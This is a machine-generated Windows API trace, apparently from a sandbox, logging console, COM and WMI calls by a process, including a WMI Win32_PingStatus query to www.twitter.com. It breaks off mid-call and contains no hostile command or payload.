[0160.448] GetConsoleOutputCP () returned 0x1b5 [0160.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0160.448] GetConsoleOutputCP () returned 0x1b5 [0160.448] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0160.448] GetConsoleOutputCP () returned 0x1b5 [0160.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0160.449] GetConsoleOutputCP () returned 0x1b5 [0160.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0160.449] GetConsoleOutputCP () returned 0x1b5 [0160.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0160.449] GetConsoleOutputCP () returned 0x1b5 [0160.449] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0160.449] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdebb0 | out: lpConsoleScreenBufferInfo=0x5bdebb0) returned 1 [0160.450] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeba8 | out: lpMode=0x5bdeba8) returned 1 [0160.450] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25cb6f4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5bdeb9c, lpReserved=0x0 | out: lpBuffer=0x25cb6f4*, lpNumberOfCharsWritten=0x5bdeb9c*=0x4f) returned 1 [0160.450] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeba8 | out: lpMode=0x5bdeba8) returned 1 [0160.451] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x259ba10*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdeb9c, lpReserved=0x0 | out: lpBuffer=0x259ba10*, lpNumberOfCharsWritten=0x5bdeb9c*=0x2) returned 1 [0160.451] CoGetContextToken (in: pToken=0x5bdedac | out: pToken=0x5bdedac) returned 0x0 [0160.451] IEnumWbemClassObject:Clone (in: This=0x5958c0, ppEnum=0x5bdef64 | out: ppEnum=0x5bdef64*=0x595a50) returned 0x0 [0160.452] IUnknown:QueryInterface (in: This=0x595a50, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee20 | out: ppvObject=0x5bdee20*=0x595a54) returned 0x0 [0160.453] IClientSecurity:QueryBlanket (in: This=0x595a54, pProxy=0x595a50, pAuthnSvc=0x5bdee70, pAuthzSvc=0x5bdee6c, pServerPrincName=0x5bdee64, pAuthnLevel=0x5bdee68, pImpLevel=0x5bdee58, pAuthInfo=0x5bdee5c, pCapabilites=0x5bdee60 | out: pAuthnSvc=0x5bdee70*=0xa, pAuthzSvc=0x5bdee6c*=0x0, pServerPrincName=0x5bdee64, pAuthnLevel=0x5bdee68*=0x6, pImpLevel=0x5bdee58*=0x2, pAuthInfo=0x5bdee5c, pCapabilites=0x5bdee60*=0x1) returned 0x0 [0160.453] IUnknown:Release (This=0x595a54) returned 0x1 [0160.453] IUnknown:QueryInterface (in: This=0x595a50, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee14 | out: ppvObject=0x5bdee14*=0x5c187c) returned 0x0 [0160.453] IUnknown:QueryInterface (in: This=0x595a50, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee00 | out: ppvObject=0x5bdee00*=0x595a54) returned 0x0 [0160.453] IClientSecurity:SetBlanket (This=0x595a54, pProxy=0x595a50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.455] IUnknown:Release (This=0x595a54) returned 0x2 [0160.455] WbemLocator:IUnknown:Release (This=0x5c187c) returned 0x1 [0160.455] CoTaskMemFree (pv=0x5f6dc58) [0160.455] IUnknown:AddRef (This=0x595a50) returned 0x2 [0160.456] CoGetContextToken (in: pToken=0x5bde330 | out: pToken=0x5bde330) returned 0x0 [0160.456] CoGetContextToken (in: pToken=0x5bde744 | out: pToken=0x5bde744) returned 0x0 [0160.456] IUnknown:QueryInterface (in: This=0x595a50, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde6dc | out: ppvObject=0x5bde6dc*=0x5c1864) returned 0x0 [0160.456] WbemLocator:IRpcOptions:Query (in: This=0x5c1864, pPrx=0x5fa36d0, dwProperty=2, pdwValue=0x5bde7d0 | out: pdwValue=0x5bde7d0) returned 0x80004002 [0160.456] WbemLocator:IUnknown:Release (This=0x5c1864) returned 0x2 [0160.456] CoGetContextToken (in: pToken=0x5bded14 | out: pToken=0x5bded14) returned 0x0 [0160.456] CoGetContextToken (in: pToken=0x5bdec74 | out: pToken=0x5bdec74) returned 0x0 [0160.456] IUnknown:QueryInterface (in: This=0x595a50, riid=0x5bded44*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdec10 | out: ppvObject=0x5bdec10*=0x595a50) returned 0x0 [0160.457] IUnknown:Release (This=0x595a50) returned 0x2 [0160.457] SysStringLen (param_1=0x0) returned 0x0 [0160.457] IEnumWbemClassObject:Reset (This=0x595a50) returned 0x0 [0160.458] CoTaskMemAlloc (cb=0x4) returned 0x5f6af40 [0160.458] IEnumWbemClassObject:Next (in: This=0x595a50, lTimeout=-1, uCount=0x1, apObjects=0x5f6af40, puReturned=0x25cb7d8 | out: apObjects=0x5f6af40*=0x5f9a528, puReturned=0x25cb7d8*=0x1) returned 0x0 [0160.460] IUnknown:QueryInterface (in: This=0x5f9a528, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5bc | out: ppvObject=0x5bde5bc*=0x5f9a528) returned 0x0 [0160.460] IUnknown:QueryInterface (in: This=0x5f9a528, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde570 | out: ppvObject=0x5bde570*=0x0) returned 0x80004002 [0160.460] IUnknown:QueryInterface (in: This=0x5f9a528, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde398 | out: ppvObject=0x5bde398*=0x0) returned 0x80004002 [0160.460] IUnknown:AddRef (This=0x5f9a528) returned 0x3 [0160.460] IUnknown:QueryInterface (in: This=0x5f9a528, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddecc | out: ppvObject=0x5bddecc*=0x0) returned 0x80004002 [0160.461] IUnknown:QueryInterface (in: This=0x5f9a528, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bdde7c | out: ppvObject=0x5bdde7c*=0x0) returned 0x80004002 [0160.461] IUnknown:QueryInterface (in: This=0x5f9a528, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdde88 | out: ppvObject=0x5bdde88*=0x5f9a52c) returned 0x0 [0160.461] IMarshal:GetUnmarshalClass (in: This=0x5f9a52c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5bdde90 | out: pCid=0x5bdde90*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0160.461] IUnknown:Release (This=0x5f9a52c) returned 0x3 [0160.461] CoGetContextToken (in: pToken=0x5bddee8 | out: pToken=0x5bddee8) returned 0x0 [0160.461] CoGetContextToken (in: pToken=0x5bde2fc | out: pToken=0x5bde2fc) returned 0x0 [0160.461] IUnknown:QueryInterface (in: This=0x5f9a528, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde37c | out: ppvObject=0x5bde37c*=0x0) returned 0x80004002 [0160.461] IUnknown:Release (This=0x5f9a528) returned 0x2 [0160.461] CoGetContextToken (in: pToken=0x5bde8e4 | out: pToken=0x5bde8e4) returned 0x0 [0160.461] CoGetContextToken (in: pToken=0x5bde844 | out: pToken=0x5bde844) returned 0x0 [0160.461] IUnknown:QueryInterface (in: This=0x5f9a528, riid=0x5bde914*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5bde910 | out: ppvObject=0x5bde910*=0x5f9a528) returned 0x0 [0160.461] IUnknown:AddRef (This=0x5f9a528) returned 0x4 [0160.461] IUnknown:Release (This=0x5f9a528) returned 0x3 [0160.461] IUnknown:Release (This=0x5f9a528) returned 0x2 [0160.461] CoTaskMemFree (pv=0x5f6af40) [0160.461] CoGetContextToken (in: pToken=0x5bdec54 | out: pToken=0x5bdec54) returned 0x0 [0160.461] IUnknown:AddRef (This=0x5f9a528) returned 0x3 [0160.462] CoTaskMemAlloc (cb=0x4) returned 0x5f6af40 [0160.462] IEnumWbemClassObject:Next (in: This=0x595a50, lTimeout=-1, uCount=0x1, apObjects=0x5f6af40, puReturned=0x25cb7d8 | out: apObjects=0x5f6af40*=0x0, puReturned=0x25cb7d8*=0x0) returned 0x1 [0160.463] CoTaskMemFree (pv=0x5f6af40) [0161.465] CoTaskMemAlloc (cb=0x4) returned 0x5f6af40 [0161.465] IEnumWbemClassObject:Next (in: This=0x595988, lTimeout=-1, uCount=0x1, apObjects=0x5f6af40, puReturned=0x259d87c | out: apObjects=0x5f6af40*=0x0, puReturned=0x259d87c*=0x0) returned 0x1 [0161.466] CoTaskMemFree (pv=0x5f6af40) [0161.466] CoGetContextToken (in: pToken=0x5bdee98 | out: pToken=0x5bdee98) returned 0x0 [0161.466] IUnknown:Release (This=0x595988) returned 0x1 [0161.466] IUnknown:Release (This=0x595988) returned 0x0 [0161.467] CoGetContextToken (in: pToken=0x5bdee98 | out: pToken=0x5bdee98) returned 0x0 [0161.467] IUnknown:Release (This=0x5958c0) returned 0x1 [0161.467] IUnknown:Release (This=0x5958c0) returned 0x0 [0161.469] CoGetContextToken (in: pToken=0x5bdec84 | out: pToken=0x5bdec84) returned 0x0 [0161.469] CoGetContextToken (in: pToken=0x5bdebe4 | out: pToken=0x5bdebe4) returned 0x0 [0161.469] CoGetContextToken (in: pToken=0x5bdebe4 | out: pToken=0x5bdebe4) returned 0x0 [0161.469] CoUnmarshalInterface (in: pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bdebd8 | out: ppv=0x5bdebd8*=0x5c13cc) returned 0x0 [0161.470] CoMarshalInterface (pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5c13cc, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0161.470] WbemLocator:IUnknown:QueryInterface (in: This=0x5c13cc, riid=0x5bdecb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5bdecb0 | out: ppvObject=0x5bdecb0*=0x5f76a80) returned 0x0 [0161.470] WbemLocator:IUnknown:Release (This=0x5c13cc) returned 0x1 [0161.470] IWbemServices:ExecQuery (in: This=0x5f76a80, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.twitter.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x5bdef1c | out: ppEnum=0x5bdef1c*=0x5958c0) returned 0x0 [0161.479] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdece8 | out: ppvObject=0x5bdece8*=0x5958c4) returned 0x0 [0161.480] IClientSecurity:QueryBlanket (in: This=0x5958c4, pProxy=0x5958c0, pAuthnSvc=0x5bded38, pAuthzSvc=0x5bded34, pServerPrincName=0x5bded2c, pAuthnLevel=0x5bded30, pImpLevel=0x5bded20, pAuthInfo=0x5bded24, pCapabilites=0x5bded28 | out: pAuthnSvc=0x5bded38*=0xa, pAuthzSvc=0x5bded34*=0x0, pServerPrincName=0x5bded2c, pAuthnLevel=0x5bded30*=0x6, pImpLevel=0x5bded20*=0x2, pAuthInfo=0x5bded24, pCapabilites=0x5bded28*=0x1) returned 0x0 [0161.480] IUnknown:Release (This=0x5958c4) returned 0x1 [0161.480] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdecdc | out: ppvObject=0x5bdecdc*=0x5c11ec) returned 0x0 [0161.480] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdecc8 | out: ppvObject=0x5bdecc8*=0x5958c4) returned 0x0 [0161.480] IClientSecurity:SetBlanket (This=0x5958c4, pProxy=0x5958c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0161.497] IUnknown:Release (This=0x5958c4) returned 0x2 [0161.497] WbemLocator:IUnknown:Release (This=0x5c11ec) returned 0x1 [0161.497] CoTaskMemFree (pv=0x5f6db38) [0161.497] IUnknown:AddRef (This=0x5958c0) returned 0x2 [0161.498] CoGetContextToken (in: pToken=0x5bde208 | out: pToken=0x5bde208) returned 0x0 [0161.498] CoGetContextToken (in: pToken=0x5bde61c | out: pToken=0x5bde61c) returned 0x0 [0161.498] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5b4 | out: ppvObject=0x5bde5b4*=0x5c11d4) returned 0x0 [0161.498] WbemLocator:IRpcOptions:Query (in: This=0x5c11d4, pPrx=0x5f71800, dwProperty=2, pdwValue=0x5bde6a8 | out: pdwValue=0x5bde6a8) returned 0x80004002 [0161.498] WbemLocator:IUnknown:Release (This=0x5c11d4) returned 0x2 [0161.498] CoGetContextToken (in: pToken=0x5bdebec | out: pToken=0x5bdebec) returned 0x0 [0161.498] CoGetContextToken (in: pToken=0x5bdeb4c | out: pToken=0x5bdeb4c) returned 0x0 [0161.498] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x5bdec1c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdeae8 | out: ppvObject=0x5bdeae8*=0x5958c0) returned 0x0 [0161.499] IUnknown:Release (This=0x5958c0) returned 0x2 [0161.499] WbemLocator:IUnknown:Release (This=0x5f76a80) returned 0x0 [0161.499] SysStringLen (param_1=0x0) returned 0x0 [0161.499] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef68 | out: puCount=0x5bdef68*=0x2) returned 0x0 [0161.500] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef64*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef64*=0xf, pszText=0x0) returned 0x0 [0161.500] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef64*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.500] CoGetContextToken (in: pToken=0x5bdedbc | out: pToken=0x5bdedbc) returned 0x0 [0161.500] IEnumWbemClassObject:Clone (in: This=0x5958c0, ppEnum=0x5bdef74 | out: ppEnum=0x5bdef74*=0x595988) returned 0x0 [0161.505] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee30 | out: ppvObject=0x5bdee30*=0x59598c) returned 0x0 [0161.505] IClientSecurity:QueryBlanket (in: This=0x59598c, pProxy=0x595988, pAuthnSvc=0x5bdee80, pAuthzSvc=0x5bdee7c, pServerPrincName=0x5bdee74, pAuthnLevel=0x5bdee78, pImpLevel=0x5bdee68, pAuthInfo=0x5bdee6c, pCapabilites=0x5bdee70 | out: pAuthnSvc=0x5bdee80*=0xa, pAuthzSvc=0x5bdee7c*=0x0, pServerPrincName=0x5bdee74, pAuthnLevel=0x5bdee78*=0x6, pImpLevel=0x5bdee68*=0x2, pAuthInfo=0x5bdee6c, pCapabilites=0x5bdee70*=0x1) returned 0x0 [0161.505] IUnknown:Release (This=0x59598c) returned 0x1 [0161.505] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee24 | out: ppvObject=0x5bdee24*=0x5c13cc) returned 0x0 [0161.505] IUnknown:QueryInterface (in: This=0x595988, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee10 | out: ppvObject=0x5bdee10*=0x59598c) returned 0x0 [0161.505] IClientSecurity:SetBlanket (This=0x59598c, pProxy=0x595988, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0161.508] IUnknown:Release (This=0x59598c) returned 0x2 [0161.508] WbemLocator:IUnknown:Release (This=0x5c13cc) returned 0x1 [0161.508] CoTaskMemFree (pv=0x5f6db98) [0161.508] IUnknown:AddRef (This=0x595988) returned 0x2 [0161.509] CoGetContextToken (in: pToken=0x5bde340 | out: pToken=0x5bde340) returned 0x0 [0161.509] CoGetContextToken (in: pToken=0x5bde754 | out: pToken=0x5bde754) returned 0x0 [0161.509] IUnknown:QueryInterface (in: This=0x595988, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde6ec | out: ppvObject=0x5bde6ec*=0x5c13b4) returned 0x0 [0161.509] WbemLocator:IRpcOptions:Query (in: This=0x5c13b4, pPrx=0x5f71860, dwProperty=2, pdwValue=0x5bde7e0 | out: pdwValue=0x5bde7e0) returned 0x80004002 [0161.509] WbemLocator:IUnknown:Release (This=0x5c13b4) returned 0x2 [0161.509] CoGetContextToken (in: pToken=0x5bded24 | out: pToken=0x5bded24) returned 0x0 [0161.509] CoGetContextToken (in: pToken=0x5bdec84 | out: pToken=0x5bdec84) returned 0x0 [0161.509] IUnknown:QueryInterface (in: This=0x595988, riid=0x5bded54*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdec20 | out: ppvObject=0x5bdec20*=0x595988) returned 0x0 [0161.509] IUnknown:Release (This=0x595988) returned 0x2 [0161.509] SysStringLen (param_1=0x0) returned 0x0 [0161.510] IEnumWbemClassObject:Reset (This=0x595988) returned 0x0 [0161.511] CoTaskMemAlloc (cb=0x4) returned 0x5f852e0 [0161.511] IEnumWbemClassObject:Next (in: This=0x595988, lTimeout=-1, uCount=0x1, apObjects=0x5f852e0, puReturned=0x25cbea0 | out: apObjects=0x5f852e0*=0x5f765d8, puReturned=0x25cbea0*=0x1) returned 0x0 [0161.529] IUnknown:QueryInterface (in: This=0x5f765d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5cc | out: ppvObject=0x5bde5cc*=0x5f765d8) returned 0x0 [0161.530] IUnknown:QueryInterface (in: This=0x5f765d8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde580 | out: ppvObject=0x5bde580*=0x0) returned 0x80004002 [0161.530] IUnknown:QueryInterface (in: This=0x5f765d8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde3a8 | out: ppvObject=0x5bde3a8*=0x0) returned 0x80004002 [0161.530] IUnknown:AddRef (This=0x5f765d8) returned 0x3 [0161.530] IUnknown:QueryInterface (in: This=0x5f765d8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddedc | out: ppvObject=0x5bddedc*=0x0) returned 0x80004002 [0161.530] IUnknown:QueryInterface (in: This=0x5f765d8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bdde8c | out: ppvObject=0x5bdde8c*=0x0) returned 0x80004002 [0161.530] IUnknown:QueryInterface (in: This=0x5f765d8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdde98 | out: ppvObject=0x5bdde98*=0x5f765dc) returned 0x0 [0161.530] IMarshal:GetUnmarshalClass (in: This=0x5f765dc, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5bddea0 | out: pCid=0x5bddea0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0161.530] IUnknown:Release (This=0x5f765dc) returned 0x3 [0161.530] CoGetContextToken (in: pToken=0x5bddef8 | out: pToken=0x5bddef8) returned 0x0 [0161.530] CoGetContextToken (in: pToken=0x5bde30c | out: pToken=0x5bde30c) returned 0x0 [0161.530] IUnknown:QueryInterface (in: This=0x5f765d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde38c | out: ppvObject=0x5bde38c*=0x0) returned 0x80004002 [0161.530] IUnknown:Release (This=0x5f765d8) returned 0x2 [0161.530] CoGetContextToken (in: pToken=0x5bde8f4 | out: pToken=0x5bde8f4) returned 0x0 [0161.530] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0161.530] IUnknown:QueryInterface (in: This=0x5f765d8, riid=0x5bde924*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5bde920 | out: ppvObject=0x5bde920*=0x5f765d8) returned 0x0 [0161.530] IUnknown:AddRef (This=0x5f765d8) returned 0x4 [0161.530] IUnknown:Release (This=0x5f765d8) returned 0x3 [0161.530] IUnknown:Release (This=0x5f765d8) returned 0x2 [0161.530] CoTaskMemFree (pv=0x5f852e0) [0161.531] CoGetContextToken (in: pToken=0x5bdec64 | out: pToken=0x5bdec64) returned 0x0 [0161.531] IUnknown:AddRef (This=0x5f765d8) returned 0x3 [0161.531] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bdef64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bdefe4*=0, plFlavor=0x5bdefe0*=0 | out: pVal=0x5bdef64*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5bdefe4*=3, plFlavor=0x5bdefe0*=64) returned 0x0 [0161.531] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bdef48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bdefcc*=0, plFlavor=0x5bdefc8*=0 | out: pVal=0x5bdef48*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x5bdefcc*=8, plFlavor=0x5bdefc8*=64) returned 0x0 [0161.532] SysStringByteLen 